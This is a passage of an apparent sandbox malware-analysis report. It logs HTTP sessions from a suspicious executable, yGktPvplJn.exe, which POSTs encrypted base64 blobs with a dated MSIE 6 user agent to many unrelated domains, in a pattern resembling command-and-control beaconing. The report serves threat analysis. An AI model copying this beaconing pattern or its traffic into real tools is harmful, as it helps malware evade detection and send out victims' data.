N8erRHDu4PbP73e3g6/LrSPT/U8YdvjZpNR3GgoZCuOYiyqbqrIx1zoJOineHP+9JSrbRkNTu+Leom+23q/gJwNyjLwnmDfCT3Pbef83imZUoi/Itw7Ii25mSmGsM0CH1OG1FNPZ5HwvIEF/tHFT9VEHXLOob8mf4LwIHcPH6t5bzEyvLZH6K0O0Yi26x/NgVTp4wHcZPy2FyAbHP1T3qRy0dJ6Zuv+mie7HmbtVMyNogVlsZ0E89LD84FKYVcE/R0b97LmZCevtHQ8RQjAS4CquK0mzt9FuqeShHOZHzEH3VnFkhVhm1wgEUgDtQ3tIawzbrm10LkinvGkjDsmKX7K+aa6JlWO6jYrlSxwds6a3X8kQ7UYUShL70li6CVUIF/SjU5ZJMWMmUscJMJwKRvIpCQgT5iUNk/+1RPe3fc/N+wgO7zhc/AolssXQdD63skcShyCypshFVZ0TGRSZTt//nHCa/2ij3/4SR4cFzvYgsb8KIZCYnakZu5ezMLpZYf1qdLns2UsZUc/wGRLE9tVNHRXrPF8cCVhOJv4l6fRbmAVNe97RcSmCfjnMcxx5VtV0gyDF
Oct 25, 2024 11:17:34.426779985 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.nunomira.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	52554	54.161.222.85	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:33.196003914 CEST	822	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.petsfan.com Cache-Control: no-cache Data Raw: 33 79 4f 6f 6c 4b 61 57 79 76 61 6a 2f 4f 63 73 51 62 33 30 4d 73 6c 47 67 64 2b 47 53 65 2f 4f 4f 74 55 65 54 48 54 59 67 34 6d 4b 46 6d 58 4b 6c 44 7a 47 76 7a 54 49 57 46 2b 61 43 59 74 55 73 32 4b 55 6f 2f 4c 56 6b 64 5a 48 49 35 38 2b 4e 32 73 37 67 44 54 55 48 44 32 41 5a 4d 48 4a 75 2b 78 74 4e 51 54 4f 55 42 4b 4c 61 4a 34 6e 49 64 63 70 36 6f 72 36 6b 6f 59 35 30 57 6d 47 45 76 6b 71 50 75 49 4c 57 55 66 66 67 61 47 72 42 6b 65 6a 64 7a 52 39 69 78 37 66 51 78 57 5a 45 70 63 61 4b 45 6f 33 56 56 46 31 54 39 79 73 38 7a 6b 44 57 77 37 47 6c 6b 63 71 73 72 31 36 6f 67 70 69 30 4f 4a 35 6b 30 65 41 2b 30 48 47 4d 30 59 6d 47 4d 49 49 4b 33 6c 66 71 31 36 76 4e 57 31 69 41 52 5a 45 4a 49 77 41 53 67 32 6d 4d 49 6a 58 53 4d 6a 30 4e 44 2f 4a 41 52 43 52 2f 2f 6e 7a 74 6c 31 67 4c 52 64 33 53 57 42 72 6a 65 66 64 5a 6f 4d 6a 50 61 42 71 33 4e 50 5a 6d 30 7a 4a 2f 47 36 57 52 68 63 44 55 50 6f 75 74 63 72 61 38 6a 36 73 42 30 37 50 36 48 58 58 4a 6f 64 71 33 42 43 65 4e 75 74 66 36 2b 4d 2f 50 50 [TRUNCATED] Data Ascii: 3yOolKaWyvaj/OcsQb30MslGgd+GSe/OOtUeTHTYg4mKFmXKlDzGvzTIWF+aCYtUs2KUo/LVkdZHI58+N2s7gDTUHD2AZMHJu+xtNQTOUBKLaJ4nIdcp6or6koY50WmGEvkqPuILWUffgaGrBkejdzR9ix7fQxWZEpcaKEo3VVF1T9ys8zkDWw7Glkcqsr16ogpi0OJ5k0eA+0HGM0YmGMIIK3lfq16vNW1iARZEJIwASg2mMIjXSMj0ND/JARCR//nztl1gLRd3SWBrjefdZoMjPaBq3NPZm0zJ/G6WRhcDUPoutcra8j6sB07P6HXXJodq3BCeNutf6+M/PPs9fYnktLoWGUFmLlUCdzRVlggN3g7fts1Qj4eSd/5NBomSWkW/f5sDKfdtj+ygzPPvoxAGO5OKvu94PYsm9+gGSWCjDVvU4guEY9F2fUPpw5NIoxlVRUHdkYwWNTVYwgp6/6JVdgNGgi5YtyKAxDkzgsvZu3arjTKGpPUQHSe8oO3DW6Nphb1XhiBcVFrToWQJYPrAX5FfC7H4/0tp2+4lKRjhdGTiU6hO4a8SPZy9g0HBRpH4tHDlPLI=
Oct 25, 2024 11:17:33.858850956 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	52555	104.26.15.53	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:33.229079962 CEST	815	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.elpro.si Cache-Control: no-cache Data Raw: 6e 4c 56 42 75 6b 6a 50 79 2f 62 66 39 58 48 59 69 79 70 6e 4e 37 76 64 47 55 4c 51 41 77 33 41 2f 42 5a 37 33 62 52 35 4c 57 78 35 61 32 67 4a 41 53 6c 50 31 46 37 51 6d 61 34 6b 6f 61 59 46 52 75 78 6c 47 31 31 55 78 4c 7a 61 36 64 6b 63 49 35 4a 4e 61 44 4c 67 32 56 38 30 2b 35 4b 68 57 68 47 70 46 57 59 39 64 2f 66 6a 57 55 65 33 65 55 47 6f 75 6c 79 30 55 44 53 43 68 67 6f 30 74 57 5a 49 43 55 50 59 48 46 77 6a 30 47 6e 4d 56 34 46 6c 55 46 33 50 62 33 56 77 61 61 4d 68 43 5a 38 71 5a 4c 31 39 7a 33 73 4b 2b 47 49 36 62 50 4e 4a 52 59 38 2b 6f 76 57 7a 44 6e 47 31 57 46 70 62 35 6e 6b 52 45 4f 4b 73 73 47 62 79 49 58 35 67 65 41 41 4c 75 31 30 4b 50 4d 7a 77 36 74 6e 69 33 2f 44 72 77 71 7a 73 66 66 6b 69 66 30 70 38 7a 76 38 42 62 55 2b 61 78 6b 74 30 42 42 32 46 37 32 4a 69 73 2b 53 65 39 61 4b 7a 76 54 5a 49 70 6c 2b 78 50 6a 63 37 57 44 73 41 71 38 38 31 2f 63 43 49 43 4a 54 35 4e 68 6c 38 57 34 55 64 66 31 6d 78 4b 55 59 4f 59 61 6b 69 55 74 55 67 55 48 46 77 4a 52 31 67 47 55 6f 73 51 36 [TRUNCATED] Data Ascii: nLVBukjPy/bf9XHYiypnN7vdGULQAw3A/BZ73bR5LWx5a2gJASlP1F7Qma4koaYFRuxlG11UxLza6dkcI5JNaDLg2V80+5KhWhGpFWY9d/fjWUe3eUGouly0UDSChgo0tWZICUPYHFwj0GnMV4FlUF3Pb3VwaaMhCZ8qZL19z3sK+GI6bPNJRY8+ovWzDnG1WFpb5nkREOKssGbyIX5geAALu10KPMzw6tni3/Drwqzsffkif0p8zv8BbU+axkt0BB2F72Jis+Se9aKzvTZIpl+xPjc7WDsAq881/cCICJT5Nhl8W4Udf1mxKUYOYakiUtUgUHFwJR1gGUosQ6NnIazs2w8jKjFp8oCY6CvypgnJu+DOywFg2xBpXBOMdMymPPPaJY84LOGXpgf+Cfcb8kwRLx7E3PjvPlj2ghcY1XCRaJ8ti8heCz5wGUp8iZy86ajlbPyEJYIdKplPE/Ug7cEQf9Id2mBBjr6s0W0Ee55TgHZpahKCZfokGLbTwXI0dx+UGV383LVcGv5pqifxXygc5AYx1/ZJafjDyGpe5mnfIdPsvGJh/OMq7pKkY4DTQmf09A==
Oct 25, 2024 11:17:34.751678944 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive x-dns-prefetch-control: on set-cookie: mailchimp_landing_site=https%3A%2F%2Fwww.elpro.si%2F; expires=Fri, 22-Nov-2024 09:17:34 GMT; Max-Age=2419200; path=/; secure; SameSite=Strict link: <https://www.elpro.si/wp-json/>; rel="https://api.w.org/" link: <https://www.elpro.si/wp-json/wp/v2/pages/2>; rel="alternate"; title="JSON"; type="application/json" link: <https://www.elpro.si/>; rel=shortlink x-litespeed-cache-control: public,max-age=106200 x-litespeed-tag: cbf_HTTP.200,cbf_front,cbf_URL.6666cd76f96956469e7be39d750cc7d9,cbf_F,cbf_Po.2,cbf_PGS,cbf_guest,cbf_ cache-control: public, max-age=172800 expires: Sun, 27 Oct 2024 09:17:34 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OBvrS5kvuDkwI2o3cyYiL8DOydOSLi5h%2B%2BR2CUhOztHBsagxcas9B4Ul1eaNFZrjkbcqavty3cTvrwqnNmiJSkdjyNwAJMej46fcHKgpIjabZwpAmcyKZfp2xtqA4Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce re Data Raw: Data Ascii:
Oct 25, 2024 11:17:34.751737118 CEST	803	IN	Data Raw: 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 73 61 6d 65 2d 6f 72 69 67 69 6e 0d 0a 78 2d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 2d 6f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f Data Ascii: errer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8d811d3e2dc53583-DFWalt-svc: h3=":443"; ma=86400250<!DOCTYPE html><html lang="sl-S
Oct 25, 2024 11:17:34.752619982 CEST	1236	IN	Data Raw: 37 66 66 61 0d 0a 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 64 61 74 61 4c 61 79 65 72 27 2c 27 47 54 4d 2d 4d 4c 4c 5a 43 48 46 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 21 2d 2d 20 45 6e 64 20 47 6f 6f 67 Data Ascii: 7ffawindow,document,'script','dataLayer','GTM-MLLZCHF');</script>... End Google Tag Manager --> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initia
Oct 25, 2024 11:17:34.752665043 CEST	212	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 6d 2e 61 73 79 6e 63 20 3d 20 31 2c 20 6d 2e 73 72 63 20 3d 20 64 2c 20 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6d 2c 20 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: m.async = 1, m.src = d, n.parentNode.insertBefore(m, n); }(window, document, "script", "https://js.datadome.co/tags.js","A2402F0DA5203CC19E12A19E0AE738");</script><![endif]-->
Oct 25, 2024 11:17:34.752679110 CEST	1236	IN	Data Raw: 09 09 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 Data Ascii: <script>document.documentElement.className = document.documentElement.className + ' yes-js js_active js'</script><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><link rel="al
Oct 25, 2024 11:17:34.752760887 CEST	1236	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 6c 70 72 6f 2e 73 69 2f 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 61 72 74 69 63 6c 65 3a 70 75 62 6c 69 73 68 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 Data Ascii: "https://www.elpro.si/" /><meta property="article:publisher" content="https://www.facebook.com/elprolepenik/" /><meta property="article:modified_time" content="2024-03-07T21:11:59+00:00" /><meta property="og:image" content="https://www.e
Oct 25, 2024 11:17:34.752775908 CEST	1236	IN	Data Raw: 76 6f 64 6e 6a 61 20 74 65 6d 70 65 72 61 74 75 72 6e 69 68 20 74 69 70 61 6c 2c 20 70 72 6f 64 61 6a 61 20 69 6e 20 73 65 72 76 69 73 20 6d 65 72 69 6c 6e 6f 20 72 65 67 75 6c 61 63 69 6a 73 6b 65 20 6f 70 72 65 6d 65 2c 20 61 6b 72 65 64 69 74 Data Ascii: vodnja temperaturnih tipal, prodaja in servis merilno regulacijske opreme, akreditiran kalibracijski laboratorij po 17025.","breadcrumb":{"@id":"https://www.elpro.si/#breadcrumb"},"inLanguage":"sl-SI","potentialAction":[{"@type":"ReadAction","
Oct 25, 2024 11:17:34.752793074 CEST	636	IN	Data Raw: 6c 70 72 6f 2e 73 69 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 53 65 61 72 63 68 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 7b 22 40 74 79 70 Data Ascii: lpro.si/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.elpro.si/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName
Oct 25, 2024 11:17:34.752808094 CEST	1236	IN	Data Raw: 32 2f 4c 4f 47 4f 2d 48 65 61 64 65 72 2e 73 76 67 22 2c 22 77 69 64 74 68 22 3a 31 2c 22 68 65 69 67 68 74 22 3a 31 2c 22 63 61 70 74 69 6f 6e 22 3a 22 45 4c 50 52 4f 22 7d 2c 22 69 6d 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f Data Ascii: 2/LOGO-Header.svg","width":1,"height":1,"caption":"ELPRO"},"image":{"@id":"https://www.elpro.si/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/elprolepenik/","https://www.linkedin.com/company/elpro-lepenik/about/"]}]}</script><me
Oct 25, 2024 11:17:34.752821922 CEST	212	IN	Data Raw: 3d 27 2f 2f 77 77 77 2e 65 6c 70 72 6f 2e 73 69 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 61 73 73 65 74 73 2f 63 73 73 2f 70 72 65 74 74 79 50 68 6f 74 6f 2e 63 73 73 3f 76 65 72 3d 33 2e 31 Data Ascii: ='//www.elpro.si/wp-content/plugins/woocommerce/assets/css/prettyPhoto.css?ver=3.1.6' type='text/css' media='all' /><link rel='stylesheet' id='yith-wcwl-main-css' href='http://www.elpro.si/wp-content/plugins/yit
Oct 25, 2024 11:17:34.757141113 CEST	1236	IN	Data Raw: 68 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 77 69 73 68 6c 69 73 74 2f 61 73 73 65 74 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 33 2e 33 37 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c Data Ascii: h-woocommerce-wishlist/assets/css/style.css?ver=3.37.0' type='text/css' media='all' /><style id='classic-theme-styles-inline-css' type='text/css'>/! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	52557	13.248.252.114	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:33.633174896 CEST	772	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.otena.com Cache-Control: no-cache Data Raw: 4d 50 6b 33 72 31 38 32 4c 2f 66 4a 62 52 39 78 76 70 44 46 36 4f 67 7a 7a 64 6f 31 4f 6e 37 36 41 33 79 74 55 4b 32 52 6c 76 6f 46 57 30 2f 39 59 6a 32 73 2f 34 50 57 56 59 55 6d 6a 6a 45 56 58 4e 69 33 77 54 4c 52 41 4b 68 65 4f 41 4e 4d 47 73 74 50 45 57 39 6d 68 6b 6f 6d 66 48 61 6a 4f 58 5a 64 32 5a 4e 75 31 4d 37 4c 55 6e 44 57 71 64 54 62 42 32 2b 32 49 69 33 77 78 70 38 34 4c 64 54 42 44 2f 32 30 50 72 2b 4a 36 4b 74 74 62 6b 72 43 4d 39 31 61 53 2f 6f 65 4b 49 61 39 44 65 50 4a 4b 53 45 31 49 43 50 32 72 6a 66 64 50 49 76 5a 46 39 4d 57 42 38 72 44 30 6b 4a 45 33 49 78 43 77 55 45 45 55 57 4a 34 56 59 38 30 35 70 68 71 79 6a 34 76 55 4f 4f 6f 4b 61 74 6b 30 58 47 43 4c 6c 47 4f 56 34 44 4e 56 6e 49 52 43 49 2b 4f 59 77 50 35 71 67 34 4a 4e 45 48 44 33 44 75 6c 48 71 6e 6c 45 70 49 2f 50 68 39 33 69 50 67 51 7a 52 76 58 4f 66 6e 39 54 4d 45 50 4d 53 34 4c 48 49 2f 6b 43 64 30 4a 30 31 76 71 34 73 43 6c 43 45 6b 34 4c 73 77 46 57 7a 65 58 47 61 45 47 4f 49 5a 32 67 4e 68 79 67 54 6d 39 37 67 [TRUNCATED] Data Ascii: MPk3r182L/fJbR9xvpDF6Ogzzdo1On76A3ytUK2RlvoFW0/9Yj2s/4PWVYUmjjEVXNi3wTLRAKheOANMGstPEW9mhkomfHajOXZd2ZNu1M7LUnDWqdTbB2+2Ii3wxp84LdTBD/20Pr+J6KttbkrCM91aS/oeKIa9DePJKSE1ICP2rjfdPIvZF9MWB8rD0kJE3IxCwUEEUWJ4VY805phqyj4vUOOoKatk0XGCLlGOV4DNVnIRCI+OYwP5qg4JNEHD3DulHqnlEpI/Ph93iPgQzRvXOfn9TMEPMS4LHI/kCd0J01vq4sClCEk4LswFWzeXGaEGOIZ2gNhygTm97g0pT/7bkhvNB5+PybhFPkYbDS6132aUQYnuzPaUiwc56JtvnnlDVPF7d985adquGEt1R0B+0ow1uUonC5hrWT38T3qkCvlbVY6UAltNJOzZyGm6ulCgJns3OWdlARgPjGwcUi/Hn5/1xAzoPrj6Kq+BQiTVm3KC1UiqxsbaJDDc4FtCkCILp18eLKeQMl+WvYrDdDa4CSY=
Oct 25, 2024 11:17:34.349384069 CEST	727	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Content-Length: 552 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	52558	89.161.163.246	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:33.640273094 CEST	799	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.abart.pl Cache-Control: no-cache Data Raw: 43 44 73 34 55 62 71 58 41 76 65 57 4b 6a 74 36 58 63 4d 75 6f 66 30 6f 50 53 30 71 34 6b 59 61 6a 72 31 45 4b 39 36 77 43 6f 2b 58 51 42 71 6a 49 32 31 79 4a 62 42 79 78 63 31 36 4a 4d 33 6c 45 79 57 47 58 4e 49 59 58 58 7a 30 4d 68 38 4a 72 6d 73 5a 31 4d 57 44 49 46 79 77 54 6d 78 67 71 54 45 6f 71 6d 38 74 32 50 4a 58 59 37 67 4f 52 57 57 46 74 50 62 74 71 54 6b 4b 37 33 66 4c 56 76 2b 54 45 6f 6e 50 2f 4c 37 63 53 30 38 73 55 36 6b 37 61 4f 66 67 43 38 44 50 68 66 4b 38 4a 6b 78 5a 42 42 65 39 77 46 30 48 37 4c 31 76 32 6b 42 48 58 51 7a 69 69 70 66 6e 74 37 56 69 6e 54 62 52 42 2f 56 56 4e 51 61 68 37 43 56 56 41 6e 4b 49 68 6c 38 6c 6a 39 70 4a 4b 5a 77 45 66 6d 64 49 63 43 33 78 70 50 36 76 56 4d 76 35 53 78 4d 65 4a 39 57 6c 49 33 4a 64 49 75 48 64 51 36 49 45 33 43 4e 72 58 42 77 6e 78 64 52 65 76 63 64 32 77 58 36 59 35 30 4f 70 79 57 71 36 37 47 36 58 2b 6f 50 6a 31 51 4d 44 4b 38 59 37 51 50 6d 5a 61 6c 39 6f 46 64 43 72 76 5a 68 36 53 55 6a 4b 39 2f 72 50 4b 70 70 5a 35 61 78 6f 53 31 [TRUNCATED] Data Ascii: CDs4UbqXAveWKjt6XcMuof0oPS0q4kYajr1EK96wCo+XQBqjI21yJbByxc16JM3lEyWGXNIYXXz0Mh8JrmsZ1MWDIFywTmxgqTEoqm8t2PJXY7gORWWFtPbtqTkK73fLVv+TEonP/L7cS08sU6k7aOfgC8DPhfK8JkxZBBe9wF0H7L1v2kBHXQziipfnt7VinTbRB/VVNQah7CVVAnKIhl8lj9pJKZwEfmdIcC3xpP6vVMv5SxMeJ9WlI3JdIuHdQ6IE3CNrXBwnxdRevcd2wX6Y50OpyWq67G6X+oPj1QMDK8Y7QPmZal9oFdCrvZh6SUjK9/rPKppZ5axoS1FDh2y7lEGx/WI6MbACvXbF4a/NxbZJXbeh1L3bJg1Ssivf7ENCESoZCh9dwcrg5fJcTCF/FOtJroXqCCUf1YBlRZ675UVKzuy8SrMQ9RhhjHEMOFsQ5jnzLl3xSx9f5ocYhhrWFmA3ARqKtprKkSlk0b5CjgfbMRg3NvE9aJkGr1fd6JtEHwYzUAYKh52PotgQnDvYSl3MzDvPr4lQ+SvtoXCGSJEjqriSk2M=
Oct 25, 2024 11:17:34.514182091 CEST	201	IN	HTTP/1.1 301 Moved Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://www.abart.com.pl Server: IdeaWebServer/6.2.0
Oct 25, 2024 11:17:34.514348030 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	52559	62.122.190.121	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:33.645865917 CEST	799	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 564 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.credo.edu.pl Cache-Control: no-cache Data Raw: 35 76 4c 4b 6f 59 59 31 42 66 65 48 77 6d 4f 50 6f 51 38 63 46 61 6d 6b 54 50 6a 6d 4d 53 4b 70 47 69 71 4f 53 76 68 63 70 75 4b 31 78 61 75 46 34 52 75 63 6f 6d 69 41 62 42 45 38 42 7a 44 64 43 4b 4b 39 6d 63 68 56 65 79 74 52 39 47 49 7a 54 73 79 31 45 56 48 55 41 31 74 32 64 62 30 36 31 61 64 35 43 68 6d 2f 72 66 53 73 37 72 36 4d 4a 68 6f 70 38 44 50 56 72 33 47 53 39 65 34 5a 6b 51 44 67 5a 51 46 6c 2b 51 53 5a 2b 65 68 43 4d 74 55 32 53 44 37 51 58 6b 64 37 6a 36 51 58 58 49 53 73 55 6b 2f 58 75 30 75 30 49 2f 77 6e 42 55 54 34 72 6b 37 46 44 43 33 39 74 2f 50 68 43 53 57 5a 4b 48 2f 6d 4b 7a 48 61 6a 72 6a 51 47 55 32 65 4e 69 38 71 61 47 47 71 56 41 56 34 72 4d 57 36 73 75 35 32 36 54 43 4d 33 77 65 32 2f 6e 49 35 53 4b 6b 73 73 2f 6b 74 4e 67 2b 67 70 2b 54 31 54 61 37 37 73 52 4b 4d 32 6e 79 73 48 66 37 7a 45 39 75 33 46 45 6e 2b 31 71 6c 6d 4b 62 31 63 32 32 4c 76 56 74 30 4a 32 63 7a 4f 4f 38 39 69 71 76 67 79 44 42 65 6d 61 46 6d 4d 42 45 65 57 44 55 39 55 75 34 57 66 5a 48 6e 38 65 73 [TRUNCATED] Data Ascii: 5vLKoYY1BfeHwmOPoQ8cFamkTPjmMSKpGiqOSvhcpuK1xauF4RucomiAbBE8BzDdCKK9mchVeytR9GIzTsy1EVHUA1t2db061ad5Chm/rfSs7r6MJhop8DPVr3GS9e4ZkQDgZQFl+QSZ+ehCMtU2SD7QXkd7j6QXXISsUk/Xu0u0I/wnBUT4rk7FDC39t/PhCSWZKH/mKzHajrjQGU2eNi8qaGGqVAV4rMW6su526TCM3we2/nI5SKkss/ktNg+gp+T1Ta77sRKM2nysHf7zE9u3FEn+1qlmKb1c22LvVt0J2czOO89iqvgyDBemaFmMBEeWDU9Uu4WfZHn8es4f65oJIox4LnzSSWoXr9s88BU3exs5SzOo2kjU0OgutCxmMlq20EyT74d39QeJ1QtbqWNonGMkLUZlob+RMPR8w21GkmdI76a35VYOr31BRi1jWTzQ4EMBNnUgXp3ZQzOGvMZIiKoXojLuL6aAtNW1Ib4sB9RmOF2vMwi9Xp8/4r0Cl6euZZ8nayyBhRyYDiHweXLHX5GJNJzHWPTfKgmgxINfLTjGwYs=
